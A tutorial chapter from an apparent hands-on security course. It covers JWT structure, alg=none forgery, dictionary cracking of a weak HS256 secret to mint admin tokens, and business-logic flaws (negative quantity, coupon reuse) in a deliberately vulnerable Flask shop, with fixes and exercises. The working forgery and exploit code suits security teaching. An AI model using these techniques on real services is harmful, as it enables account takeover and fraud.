Step 150. Juice Shop 3 — JWT and Business Logic
Level 2 — Introduction to Security and Attack Skill Basics | Difficulty ★★★☆☆ | Estimated time: 3 hours
Prerequisites: Step 149 complete. You can edit and re-send requests with Burp Repeater, and you know Base64 is not encryption (Step 50).
- What you need: a running Juice Shop, Burp Suite, Python 3 + PyJWT (
python -m pip install pyjwt). - ⚠️ All exercises in this chapter are for your own lab and legal platforms only. Applying them to unauthorized systems is a crime.
- Legal practice grounds: OWASP Juice Shop is a legal learning platform (a vulnerable web app) officially distributed for attack practice, and today’s JWT and order-server experiments are local labs inside your computer. Do not use today’s techniques anywhere outside these two places.
Until yesterday we changed numbers in addresses. Today we forge the ID card itself. Juice Shop’s login credential is a JWT (JSON Web Token) — a long string joined by two dots, which is "a JSON ID card signed by the server." On a server that skipped the signature check, you can rewrite this ID card’s contents at will.
And today’s second half is not a technical vulnerability but a loophole in the rules. If you order a quantity of -10, does your balance grow? What if you use a coupon twice? Scanners can never find these business-logic flaws — being "holes where the developer trusted common sense," only human curiosity finds them. We reproduce both on our own computers today.
1. Learning Objectives
By the end of this chapter, you will be able to:
- Break a JWT into its three chunks (header.payload.signature) and read its contents
- Measure the alg=none attack and weak-secret-key brute force locally
- Explain by experiment that "JWT is not encryption but a signature"
- Reproduce business-logic flaws (negative quantity, coupon reuse) with a Flask server
- Tackle JWT- and logic-family challenges in Juice Shop to reach a cumulative 45
2. Background Knowledge — Today’s Tools and Concepts
Today’s Tools at a Glance
| Category | Details |
|---|---|
| Language/environment | Python 3 + PyJWT (local lab), Juice Shop + Burp Suite (wargame) |
| Today’s commands | jwt.encode(), jwt.decode(), token.split("."), Burp Repeater |
| Concepts needed | JWT structure, HMAC signatures, alg=none, business-logic flaws, missing validation |
| Today’s artifact | JWT-forgery experiment code + a logic-flaw reproduction server + a cumulative-45 score board |
2-1. JWT — The Two-Dot ID Card
A JWT is a string of three chunks joined by dots (.): header.payload.signature. The header holds the algorithm, the payload holds user information (things like email, role), and the signature holds a stamp saying "this content was issued by the server and has not been tampered with."
Here is today’s most important sentence: a JWT’s first two chunks are not encryption but Base64 encoding. Anyone can decode them and read the contents. The only thing guarding the secret is the third chunk, the signature. The signature is made with a secret key only the server knows, so editing the contents without the key throws the signature off — that is the whole of JWT’s safety device.
2-2. alg=none — The Attack of Peeling Off the Stamp
The header’s alg field is an instruction: "verify this token with which algorithm." But the standard includes a value none — no signature. If a careless server follows that instruction as-is, a token with an empty signature chunk passes too. It’s like peeling the stamp off an ID card, and the checkpoint waving you through: "Ah, the no-stamp provision."
Most modern JWT libraries block this attack by default. But it still works with configuration mistakes (verify_signature=False) or outdated libraries, and Juice Shop has a challenge in this family.
2-3. Weak Secret Keys — The Attack of Guessing the Stamp’s Material
An HS256 signature is an HMAC hash of "secret key + contents." If the server’s secret key is a weak string like secret or 123456, the attacker can run a dictionary and check offline "does a signature made with this key match the token’s signature?" Find the right key and you can mint a fresh admin token with it. Today we do it ourselves with a small dictionary.
2-4. Business-Logic Flaws — Holes Where Common Sense Was Trusted
If SQL injection and XSS are "holes in the technology," business-logic flaws are "holes in the rules." If the order quantity isn’t checked, ordering -10 grows your money; if coupon usage records aren’t checked, a coupon passes indefinitely. The code works correctly — the fact that it works correctly is the problem. That’s why scanners can’t find them, and it’s also where high-value bug-bounty reports often come from.
3. Follow Along
3-1. Making My Own JWT and Dissecting It
Create jwt_lab.py and run it from the first part.
import base64
import jwt
SECRET = "keyboard cat 7" # a deliberately weak secret key
token = jwt.encode({"email": "user@example.com", "role": "user"}, SECRET, algorithm="HS256")
print(token)
def b64url_decode(s):
s += "=" * (-len(s) % 4)
return base64.urlsafe_b64decode(s)
h, p, s = token.split(".")
print("Header :", b64url_decode(h).decode())
print("Payload :", b64url_decode(p).decode())
print("Signature length:", len(b64url_decode(s)), "bytes")
Output (measured 2026-09-09, PyJWT 2.13):
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6InVzZXJAZXhhbXBsZS5jb20iLCJyb2xlIjoidXNlciJ9.5HFcNtCtD6gdvkuv-CA51YJTaxuMXL3xvR8693yOYxQ
Header : {"alg":"HS256","typ":"JWT"}
Payload : {"email":"user@example.com","role":"user"}
Signature length: 32 bytes
How to read it: without the secret key, we just read the first two chunks. This is the proof that "JWT is not encryption." Only the signature remains an unreadable 32-byte blob.
3-2. Assembling an alg=none Token and Two Kinds of Servers
We hand-assemble a token with the payload switched to admin and the header set to alg: none.
import json
def b64url_encode(b):
return base64.urlsafe_b64encode(b).rstrip(b"=").decode()
none_token = (
b64url_encode(json.dumps({"alg": "none", "typ": "JWT"}).encode())
+ "."
+ b64url_encode(json.dumps({"email": "admin@juice-sh.op", "role": "admin"}).encode())
+ "."
)
print(none_token)
# a proper server
try:
jwt.decode(none_token, SECRET, algorithms=["HS256"])
except jwt.exceptions.InvalidTokenError as e:
print("Rejected:", type(e).__name__, "-", e)
# a careless server
payload = jwt.decode(none_token, options={"verify_signature": False})
print("Accepted:", payload)
Output (measured 2026-09-09):
eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJlbWFpbCI6ICJhZG1pbkBqdWljZS1zaC5vcCIsICJyb2xlIjogImFkbWluIn0.
Rejected: InvalidAlgorithmError - The specified alg value is not allowed
Accepted: {'email': 'admin@juice-sh.op', 'role': 'admin'}
How to read it: the forged token ends with a trailing . — because the signature chunk is empty. Current PyJWT throws it out with InvalidAlgorithmError, but a server with verification turned off via verify_signature=False accepts it as an admin token. The vulnerability is not in the technology but in a single line of configuration.
3-3. Weak-Secret-Key Brute Force
This time, instead of peeling off the signature, we learn the stamp’s material (the secret key). We run a dictionary attack against the legitimate token from 3-1.
wordlist = ["password", "123456", "secret", "keyboard cat 7", "qwerty", "letmein"]
for word in wordlist:
try:
jwt.decode(token, word, algorithms=["HS256"])
print("Key found!:", repr(word))
break
except jwt.exceptions.InvalidSignatureError:
print("Fail:", repr(word))
forged = jwt.encode({"email": "admin@juice-sh.op", "role": "admin"}, word, algorithm="HS256")
print("Forged token verification passed:", jwt.decode(forged, word, algorithms=["HS256"]))
Output (measured 2026-09-09):
Fail: 'password'
Fail: '123456'
Fail: 'secret'
Key found!: 'keyboard cat 7'
Forged token verification passed: {'email': 'admin@juice-sh.op', 'role': 'admin'}
How to read it: we never connected to the server once — with just the token, signature verification can be tried endlessly on my own computer. If the key is in the dictionary, it’s over. We even confirmed that a forged token made with the found key passes verification. In the field you’d use a big dictionary like rockyou.txt and hashcat (Step 124) — today we just put the principle into our bodies.
3-4. Business Logic — The Negative-Quantity Order
This time we build a small shop server called bizlogic_lab.py. It starts with a balance of 10,000, and the product price is 3,000.
from flask import Flask, jsonify, request
app = Flask(__name__)
app.json.ensure_ascii = False
WALLET = {"balance": 10000}
COUPON_VALUE = 5000
PRICE = 3000
@app.route("/buy", methods=["POST"])
def buy():
qty = int(request.args.get("qty", 1))
# vulnerable: no quantity range check
total = PRICE * qty
WALLET["balance"] -= total
return jsonify({"qty": qty, "paid": total, "balance": WALLET["balance"]})
@app.route("/coupon", methods=["POST"])
def coupon():
code = request.args.get("code", "")
# vulnerable: never checks whether the coupon was already used
WALLET["balance"] += COUPON_VALUE
return jsonify({"code": code, "balance": WALLET["balance"]})
if __name__ == "__main__":
app.run(port=5492)
Start the server (python bizlogic_lab.py), and send requests from a new terminal.
import urllib.request, json
def post(path):
req = urllib.request.Request("http://127.0.0.1:5492" + path, method="POST")
with urllib.request.urlopen(req) as r:
return r.status, json.loads(r.read().decode())
post("/buy?qty=1")
post("/buy?qty=-10")
post("/coupon?code=WELCOME50")
post("/coupon?code=WELCOME50")
post("/coupon?code=WELCOME50")
Output (measured 2026-09-09):
Normal order qty=1 -> (200, {'qty': 1, 'paid': 3000, 'balance': 7000})
Malicious order qty=-10 -> (200, {'qty': -10, 'paid': -30000, 'balance': 37000})
Coupon 1st use -> (200, {'code': 'WELCOME50', 'balance': 42000})
Coupon 2nd use -> (200, {'code': 'WELCOME50', 'balance': 47000})
Coupon 3rd use -> (200, {'code': 'WELCOME50', 'balance': 52000})
How to read it: ordering -10 made the payment -30,000 — meaning the balance instead grew to 37,000. The coupon adds 5,000 every time, even used three times. There is no error anywhere — the server worked exactly as commanded, and that is the flaw.
Why: the defense is two lines of rules: if qty <= 0: deny, if code in USED_COUPONS: deny. Defending a logic flaw is always "spelling common sense out in code."
3-5. Observing the JWT in Juice Shop
After logging in to Juice Shop, find and copy the token cookie/header in the developer tools Application tab (or the Network response). The long string with two dots is the JWT (screen example — use your own value):
eyJhbGciOiJSUzI1NiIs... .eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6... .(signature)
Dissect this token the same way as in 3-1 — after token.split(".") in Python, Base64-decoding reads my account info as-is. Pasting it into jwt.io shows the same thing.
3-6. Tackling Juice Shop’s Logic Challenges
Catch the quantity-change request from the basket with Burp, change the quantity value to a negative, and press Send. If the server accepts it, observe how the balance and totals change (screen example — confirm the result yourself). At every "place where a rule should exist" — survey ratings, coupon codes, basket transfers — ask the same question: does the server validate this value’s range?
For JWT challenges, search for "JWT" in the score-board hints (💡) to find candidates — sending an alg=none assembled token in the Authorization: Bearer header, and so on. Depending on the library version, some challenges won’t land — since understanding the principle is the goal, if it doesn’t work, substitute the 3-2 local measurement as evidence and record it.
4. Missions & Exercises
Mission — Forgery and Loopholes: Proving Two Kinds of Attacks
- Reproduce all the JWT experiments of 3-1–3-3, and capture the "Key found!" output and the forged token passing verification
- Reproduce the scene where the 3-4 shop server’s balance grows from 10,000 to 37,000
- Add defense code to the shop server (quantity check, coupon duplicate check) and confirm the attacks are rejected
- Solve 1 JWT-family + 1 logic-family challenge in Juice Shop and write a write-up
- Reach a cumulative 45 on the score board (15 added to Step 149’s 30)
Exercises
Exercise 1. Anyone can read a JWT’s payload, so why can’t anyone forge one? Explain the principle by which the signature blocks it.
Exercise 2. Explain the difference between a server where the alg=none attack works and one where it doesn’t, using the 3-2 measured results.
Exercise 3. Why is weak-secret-key brute force possible without ever connecting to the server? What defensive lesson does this teach?
Exercise 4. Explain why automated scanners can’t find business-logic flaws.
5. Model Answers & Completion Criteria
Mission Model Answer
Items 1–2 are exactly the Section 3 measurements. The skeleton of the item-3 defense code:
@app.route("/buy", methods=["POST"])
def buy():
qty = int(request.args.get("qty", 1))
if qty <= 0 or qty > 99: # rule spelled out 1: quantity range
return jsonify({"error": "invalid quantity"}), 400
...
@app.route("/coupon", methods=["POST"])
def coupon():
code = request.args.get("code", "")
if code in USED_COUPONS: # rule spelled out 2: usage-record check
return jsonify({"error": "coupon already used"}), 400
USED_COUPONS.add(code)
...
After the defense, confirm qty=-10 is blocked with a 400 and the coupon’s second use with a 400 (verify on your own local server). In item 4’s write-up, write "the original request / the changed value / the server’s response / the check the server didn’t do." Item 5 is verified by the check count on the score board.
Exercise Answers
Answer 1. The payload is only Base64-encoded, so anyone can read it. But editing the contents throws off the signature (an HMAC made with the secret key), and without the secret key only the server knows, you cannot make a signature matching the new contents — so forgery fails. It’s a device guarding integrity, not confidentiality.
Answer 2. In the 3-2 measurement, current PyJWT rejected the forged token with InvalidAlgorithmError - The specified alg value is not allowed, but a server with verification turned off via verify_signature=False accepted the admin payload as-is. The difference is not the algorithm but a single configuration line: "does the server perform signature verification."
Answer 3. Because HS256 signatures are symmetric-key, all you need to verify is the token and a candidate key. The token is already in the attacker’s hands, so key candidates can be tried endlessly (an offline attack). The lesson: the secret key must be long and random — in fact, when running 3-3, PyJWT raised an InsecureKeyLengthWarning (the HMAC key is below the recommended 32 bytes), which is exactly that warning.
Answer 4. A scanner finds vulnerabilities by "the difference between normal and abnormal responses," but with logic flaws every response is a "normal" 200. Even a -10 order is, from the server’s standpoint, a normal response processed by the rules. A loophole in the rules themselves can only be found by a human who knows the service’s context.
Completion Criteria Checklist
- [ ] I can split a JWT into three chunks and read the first two with Base64
- [ ] I can explain by experiment that "JWT is not encryption but a signature"
- [ ] I assembled an alg=none forged token and reproduced both rejection and acceptance
- [ ] I found a weak secret key with a small dictionary and minted a forged token
- [ ] I reproduced the balance growing via negative quantity and coupon reuse
- [ ] I showed in code that defending a logic flaw means "spelling out the rules"
- [ ] Mission: one Juice Shop JWT + one logic challenge each + cumulative 45
6. Common Pitfalls & Fixes
Wall 1. ModuleNotFoundError: No module named 'jwt'
Cause: PyJWT isn’t installed. Mind the name — you must install pyjwt, not jwt, for import jwt to work.
Fix: python -m pip install pyjwt (measured 2026-09-09, 2.13.0 confirmed installed).
Wall 2. A padding error during Base64 decoding
Symptom (measured-family message):
binascii.Error: Invalid padding
Cause: JWT uses Base64url, whose trailing = padding is omitted. Decoding it as-is breaks the length.
Fix: correct the padding as in 3-1’s b64url_decode: s += "=" * (-len(s) % 4).
Wall 3. A key-length warning appears
Symptom (measured 2026-09-09):
InsecureKeyLengthWarning: The HMAC key is 14 bytes long, which is below the minimum recommended length of 32 bytes for SHA256.
Cause: the library warning that the practice key is short. It’s a warning, not an error, so the experiment proceeds.
Fix: this warning itself is today’s lesson. A real service’s secret key must be a random value of 32+ bytes. Don’t silence the warning — read it.
Wall 4. The alg=none token gets rejected by PyJWT
Symptom (measured 2026-09-09):
jwt.exceptions.InvalidAlgorithmError: The specified alg value is not allowed
Cause: rejection is normal — current libraries block this attack by default.
Fix: it’s not that the attack failed; you witnessed the defense. If you need a success scene, stand up a "careless server" with verify_signature=False as in 3-2 and compare.
Wall 5. I edited the token in Juice Shop and only get 401
Cause: you changed the contents but the signature stayed the same — a signature mismatch. Normal behavior.
Fix: that response is proof that "signature verification is working." What the challenge demands is a signature bypass (alg=none) or key theft, not crude editing. Check in the score-board hints which kind of challenge it is.
7. Summary
Today’s Concepts
| Concept | One-line explanation |
|---|---|
| JWT | A signed JSON ID card with a header.payload.signature structure |
| Base64 ≠ encryption | Anyone reads the payload — only the signature guards it |
| alg=none | Forgery that arises when a server accepts a "no signature" instruction |
| Weak secret key | A key in the dictionary can be found offline |
| Business-logic flaw | A hole where the code is fine but the rules leak — scanners can’t find it |
| Spelling out the rules | A defense that writes common sense in code, like if qty <= 0: deny |
Today’s Commands & Functions
| Command/function | What it does |
|---|---|
jwt.encode(payload, key, algorithm="HS256") |
Issue a JWT |
jwt.decode(token, key, algorithms=[...]) |
Read while verifying the signature |
jwt.decode(token, options={"verify_signature": False}) |
Read without verification (reproducing a careless server) |
token.split(".") + Base64 decoding |
Dissect a token |
Dictionary loop + decode attempts |
Weak-key brute force |
python -m pip install pyjwt |
Install PyJWT |
An Instinct More Important Than Commands
When you see a token, let your eyes move before your fingers — two dots means JWT, the first two chunks are readable, and how to get around the signature chunk is the next question. And one instinct for logic flaws: at every numeric input in a service, ask "does the server validate this value’s range?" Quantity, ratings, discount rates, transfer amounts — every place a number goes in needs a rule, and a place without a rule is the vulnerability itself. The attacker’s question is the defender’s checklist.
Once every box is checked, Step 150 is complete.